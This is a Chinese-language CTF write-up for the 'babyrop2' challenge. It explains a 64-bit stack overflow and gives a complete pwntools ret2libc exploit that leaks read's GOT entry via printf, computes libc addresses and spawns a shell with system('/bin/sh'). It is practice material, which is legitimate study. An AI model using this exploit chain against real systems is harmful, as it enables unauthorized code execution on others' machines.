事前准备
主要是有个不可执行
看看ida
存在栈溢出
字符串也没东西,考虑libc
漏洞及其利用思路
比较明显的libc,因为是64位程序,所以需要‘’pop+参数数据add的‘’形式,不然不符合64的函数调用约定,这里泄露就直接使用主函数的那个存在%s的字符串
printf的参数是根据格式化字符串的出现数量定的,这里就用%s所以就一个,而我们用的read got(global offset table)(这题测试后发现直接用printf的用不了)
这里就用到rdi rsi 两个寄存器
gadget一下
rdi的很干净,rsi找不到其他更干净的,不过r15我们也用不上,所以就直接填0就行了
至于算地址,就是libc的一个基本公式,这里不作赘述
关于recv地址
平常我们一般直接用puts
所以返回内容会干净,直接接收6位,然后lijust填充就行
没有puts函数,也就没办法使用
而我们用到的format,是很大依托的,所以需要用recvutil,64下的地址开头基本上都是"\x7f"所以就可以把它当做标识符,因为是小端序,所以我们从-6开始正序读取(-6标识符下的第一个数字是-1)
read的got(0a)之前
exp:
from pwn import*
p=remote('node4.buuoj.cn',26453)
#p=process('./babyrop2')
#p=gdb.debug('./babyrop2')
elf=ELF('./babyrop2')
context(arch='amd64',log_level = 'debug')
mainadd=elf.symbols['main']
func_plt=elf.plt['printf']
func_got=elf.got['read']
rdiadd=0x400733
rsir15add=0x00400731
formatadd=0x400770
payload=b'a'*(0x20+8)+p64(rdiadd)+p64(formatadd)+p64(rsir15add)+p64(func_got)+p64(0)+p64(func_plt)+p64(mainadd)
p1=payload
p.recvuntil("What's your name? ")
p.sendline(p1)
#p.recvuntil("\n")
funcadd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#funcadd=u64(p.recv(6).ljust(8,b'\x00'))
libc=ELF("./libc.so.6")
libc_base=funcadd-libc.sym['read']
system_add=libc_base+libc.sym['system']
bin_sh_add=libc_base+libc.search(b'/bin/sh').__next__()
print("%x"%funcadd)
print("%x"%system_add)
print("%x"%bin_sh_add)
payload2=b'a'*(0x20+8) +p64(rdiadd)+p64(bin_sh_add)+p64(system_add)+p64(mainadd)
p2=payload2
p.recvuntil("What's your name? ")
p.sendline(p2)
#send
p.interactive()
getshell:
这题路径下没有flag,需要find --name 一下,而且有限时,慢了得重新连一次
因为是全路径检索,后面的permission denied是没权限的意思,结果太多我一来没看见第一行的查询找到的结果(阿西....)